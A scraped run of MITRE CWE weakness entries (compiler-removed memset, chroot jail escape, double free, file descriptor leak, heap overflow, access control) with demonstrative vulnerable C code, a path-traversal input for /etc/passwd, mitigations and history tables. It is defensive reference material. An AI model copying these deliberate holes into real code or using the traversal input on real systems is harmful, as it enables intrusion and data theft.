
This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

+ Demonstrative Examples

Example 1

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

(Bad Code)
Example Language:
void GetData(char *MFAddr) {
char pwd[64];
if (GetPasswordFromUser(pwd, sizeof(pwd))) {

if (ConnectToMainframe(MFAddr, pwd)) {

// Interaction with mainframe
}
}
memset(pwd, 0, sizeof(pwd));
}

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

+ Potential Mitigations

Phase: Implementation

Store the sensitive data in a "volatile" memory location if available.

Phase: Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Phase: Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory2Environment
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory729OWASP Top Ten 2004 Category A8 - Insecure Storage
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfWeakness BaseWeakness Base733Compiler Optimization Removal or Modification of Security-critical Code
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory747CERT C Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInsecure Compiler Optimization
PLOVERSensitive memory uncleared by compiler optimization
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
CERT C Secure CodingMSC06-CBe aware of compiler optimization when dealing with sensitive data
CERT C++ Secure CodingMSC06-CPPBe aware of compiler optimization when dealing with sensitive data
Software Fault PatternsSFP23Exposed Data
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft. 2002.
Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002-11-05. <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html>.
Michael Howard. "Some Bad News and Some Good News". Microsoft. 2002-10-21. <http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure10102002.asp>.
Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002-11-16. <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2002-11/0257.html>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Relationships
2008-11-24CWE Content TeamMITREInternal
updated Applicable_Platforms, Description, Detection_Factors, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITREInternal
updated References
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insecure Compiler Optimization

CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID: 243
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C

C++

Operating Systems

UNIX

+ Common Consequences
ScopeEffect
Confidentiality

Technical Impact: Read files or directories

+ Likelihood of Exploit

High

+ Demonstrative Examples

Example 1

Consider the following source code from a (hypothetical) FTP server:

(Bad Code)
Example Language:
chroot("/var/ftproot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftproot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file "../../../../../etc/passwd" and obtain a copy of the system password file.

+ Background Details

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class227Improper Fulfillment of API Contract ('API Abuse')
Development Concepts (primary)699
Seven Pernicious Kingdoms (primary)700
ChildOfWeakness ClassWeakness Class573Improper Following of Specification by Caller
Research Concepts1000
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts (primary)1000
ChildOfCategoryCategory979SFP Secondary Cluster: Failed Chroot Jail
Software Fault Pattern (SFP) Clusters (primary)888
+ Affected Resources
  • File/Directory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsDirectory Restriction
Software Fault PatternsSFP17Failed chroot jail
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
7 Pernicious KingdomsExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Background_Details, Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITREInternal
updated Description
2009-03-10CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITREInternal
updated Demonstrative_Examples, Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Directory Restriction
2010-12-13Failure to Change Working Directory in chroot Jail

CWE-415: Double Free

Weakness ID: 415
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The product calls free() twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls free() twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to malloc() to return the same pointer. If malloc() returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

+ Alternate Terms
Double-free
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Integrity
Confidentiality
Availability

Technical Impact: Execute unauthorized code or commands

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

+ Likelihood of Exploit

Low to Medium

+ Demonstrative Examples

Example 1

The following code shows a simple example of a double free vulnerability.

(Bad Code)
Example Language:
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
free(ptr);
}
...
free(ptr);

Double free vulnerabilities have two common (and sometimes overlapping) causes:

  • Error conditions and other exceptional circumstances

  • Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

(Bad Code)
Example Language:
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
char *buf1R1;
char *buf2R1;
char *buf1R2;
buf1R1 = (char *) malloc(BUFSIZE2);
buf2R1 = (char *) malloc(BUFSIZE2);
free(buf1R1);
free(buf2R1);
buf1R2 = (char *) malloc(BUFSIZE1);
strncpy(buf1R2, argv[1], BUFSIZE1-1);
free(buf2R1);
free(buf1R2);
}
+ Observed Examples
ReferenceDescription
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition that leads to a double free (CWE-415).
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free resultant from certain error conditions.
Double free from invalid ASN.1 encoding.
Double free from malformed GIF.
Double free from malformed GIF.
Double free from malformed compressed data.
+ Potential Mitigations

Phase: Architecture and Design

Choose a language that provides automatic memory management.

Phase: Implementation

Ensure that each allocation is freed only once. After freeing a chunk, set the pointer to NULL to ensure the pointer cannot be freed again. In complicated error conditions, be sure that clean-up routines respect the state of allocation properly. If the language is object oriented, ensure that object destructors delete each chunk of memory only once.

Phase: Implementation

Use a static analysis tool to find double free instances.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class398Indicator of Poor Code Quality
Seven Pernicious Kingdoms (primary)700
ChildOfCategoryCategory399Resource Management Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfWeakness BaseWeakness Base666Operation on Resource in Wrong Phase of Lifetime
Research Concepts1000
ChildOfWeakness ClassWeakness Class675Duplicate Operations on Resource
Research Concepts1000
ChildOfCategoryCategory742CERT C Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfWeakness BaseWeakness Base825Expired Pointer Dereference
Research Concepts (primary)1000
ChildOfCategoryCategory876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory969SFP Secondary Cluster: Faulty Memory Release
Software Fault Pattern (SFP) Clusters (primary)888
PeerOfWeakness BaseWeakness Base123Write-what-where Condition
Research Concepts1000
PeerOfWeakness BaseWeakness Base416Use After Free
Development Concepts699
Research Concepts1000
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
CanFollowWeakness BaseWeakness Base364Signal Handler Race Condition
Research Concepts1000
+ Relationship Notes

This is usually resultant from another weakness, such as an unhandled error or race condition between threads. It could also be primary to weaknesses such as buffer overflows.

+ Affected Resources
  • Memory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERDFREE - Double-Free Vulnerability
7 Pernicious KingdomsDouble Free
CLASPDoubly freeing memory
CERT C Secure CodingMEM00-CAllocate and free memory in the same module, at the same level of abstraction
CERT C Secure CodingMEM01-CStore a new value in pointers immediately after free()
CERT C Secure CodingMEM31-CFree dynamically allocated memory exactly once
CERT C++ Secure CodingMEM01-CPPStore a valid value in pointers immediately after deallocation
CERT C++ Secure CodingMEM31-CPPFree dynamically allocated memory exactly once
Software Fault PatternsSFP12Faulty Memory Release
+ White Box Definitions

A weakness where code path has:

1. start statement that relinquishes a dynamically allocated memory resource

2. end statement that relinquishes the dynamically allocated memory resource

+ References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Double Frees", Page 379.. 1st Edition. Addison Wesley. 2006.
+ Maintenance Notes

It could be argued that Double Free would be most appropriately located as a child of "Use after Free", but "Use" and "Release" are considered to be distinct operations within vulnerability theory, therefore this is more accurately "Release of a Resource after Expiration or Release", which doesn't exist yet.

+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Maintenance_Notes, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITREInternal
updated Other_Notes
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2010-12-13CWE Content TeamMITREInternal
updated Observed_Examples, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITREInternal
updated Relationships

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID: 403
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

+ Alternate Terms
File descriptor leak:

While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

All

Operating Systems

UNIX

+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read application data; Modify application data

+ Observed Examples
ReferenceDescription
Server leaks a privileged file descriptor, allowing the server to be hijacked.
File descriptor leak allows read of restricted files.
Access to restricted resource using modified file descriptor for stderr.
Open file descriptor used as alternate channel in complex race condition.
Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.
User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.
Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.
Module opens a file for reading twice, allowing attackers to read files.
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class402Transmission of Private Resources into a New Sphere ('Resource Leak')
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory634Weaknesses that Affect System Processes
Resource-specific Weaknesses (primary)631
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
+ Affected Resources
  • System Process
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUNIX file descriptor leak
CERT C Secure CodingFIO42-CEnsure files are properly closed when they are no longer needed
CERT C++ Secure CodingFIO42-CPPEnsure files are properly closed when they are no longer needed
Software Fault PatternsSFP23Exposed Data
+ References
Paul Roberts. "File descriptors and setuid applications". 2007-02-05. <https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications>.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Affected_Resources, Observed_Examples, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-06-27CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2013-02-21CWE Content TeamMITREInternal
updated Alternate_Terms, Description, Name, Observed_Examples, References
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2011-03-29UNIX File Descriptor Leak
2013-02-21Exposure of File Descriptor to Unintended Control Sphere

CWE-552: Files or Directories Accessible to External Parties

Weakness ID: 552
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

Files or directories are accessible in the environment that should not be.
+ Time of Introduction
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Confidentiality
Integrity

Technical Impact: Read files or directories; Modify files or directories

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class668Exposure of Resource to Wrong Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory743CERT C Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C Secure Coding Standard (primary)734
ChildOfCategoryCategory815OWASP Top Ten 2010 Category A6 - Security Misconfiguration
Weaknesses in OWASP Top Ten (2010) (primary)809
ChildOfCategoryCategory877CERT C++ Secure Coding Section 09 - Input Output (FIO)
Weaknesses Addressed by the CERT C++ Secure Coding Standard (primary)868
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
ParentOfWeakness VariantWeakness Variant527Exposure of CVS Repository to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant528Exposure of Core Dump File to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant529Exposure of Access Control List Files to an Unauthorized Control Sphere
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant530Exposure of Backup File to an Unauthorized Control Sphere
Research Concepts1000
ParentOfWeakness VariantWeakness Variant532Information Exposure Through Log Files
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant540Information Exposure Through Source Code
Development Concepts699
Research Concepts1000
ParentOfWeakness VariantWeakness Variant548Information Exposure Through Directory Listing
Research Concepts1000
ParentOfWeakness VariantWeakness Variant553Command Shell in Externally Accessible Directory
Development Concepts (primary)699
Research Concepts (primary)1000
+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
CERT C Secure CodingFIO15-CEnsure that file operations are performed in a secure directory
CERT C++ Secure CodingFIO15-CPPEnsure that file operations are performed in a secure directory
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-08-15VeracodeExternal
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITREInternal
updated Relationships
2010-09-09VeracodeExternal
Suggested OWASP Top Ten mapping
2010-09-27CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2011-09-13CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Errant Files or Directories Accessible

CWE-122: Heap-based Buffer Overflow

Weakness ID: 122
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().
+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: crash / exit / restart; DoS: resource consumption (CPU); DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute unauthorized code or commands; Bypass protection mechanism; Modify memory

Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.

Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.

Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Execute unauthorized code or commands; Bypass protection mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

+ Likelihood of Exploit

High to Very High

+ Demonstrative Examples

Example 1

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

(Bad Code)
Example Language:
#define BUFSIZE 256
int main(int argc, char **argv) {
char *buf;
buf = (char *)malloc(sizeof(char)*BUFSIZE);
strcpy(buf, argv[1]);
}

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(Bad Code)
Example Language:
char * copy_input(char *user_supplied_string){
int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){
die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
if( '&' == user_supplied_string[i] ){
dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';
}
else if ('<' == user_supplied_string[i] ){
/* encode to &lt; */
}
else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

+ Observed Examples
ReferenceDescription
Chain: integer signedness passes signed comparison, leads to heap overflow
Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.
+ Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

Phase: Implementation

Implement and perform bounds checking on input.

Phase: Implementation

Strategy: Libraries or Frameworks

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory633Weaknesses that Affect Memory
Resource-specific Weaknesses (primary)631
ChildOfWeakness BaseWeakness Base787Out-of-bounds Write
Development Concepts699
Research Concepts1000
ChildOfWeakness BaseWeakness Base788Access of Memory Location After End of Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
MemberOfViewView630Weaknesses Examined by SAMATE
Weaknesses Examined by SAMATE (primary)630
+ Relationship Notes

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

+ Affected Resources
  • Memory
+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPHeap overflow
Software Fault PatternsSFP8Faulty Buffer Access
+ White Box Definitions

A buffer overflow where the buffer from the Buffer Write Operation is dynamically allocated

+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft. 2002.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76.. 1st Edition. Addison Wesley. 2006.
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM AnalyticsExternal
added/updated white box definitions
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-11-24CWE Content TeamMITREInternal
updated Common_Consequences, Other_Notes, Relationship_Notes
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Relationships
2010-02-16CWE Content TeamMITREInternal
updated References
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITREInternal
updated Demonstrative_Examples
2013-02-21CWE Content TeamMITREInternal
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITREInternal
updated Observed_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-284: Improper Access Control

Weakness ID: 284
Abstraction: Class
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

  • Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

  • Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

+ Alternate Terms
Authorization:

The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

+ Time of Introduction
  • Architecture and Design
  • Implementation
  • Operation
+ Common Consequences
ScopeEffect
Other

Technical Impact: Varies by context

+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

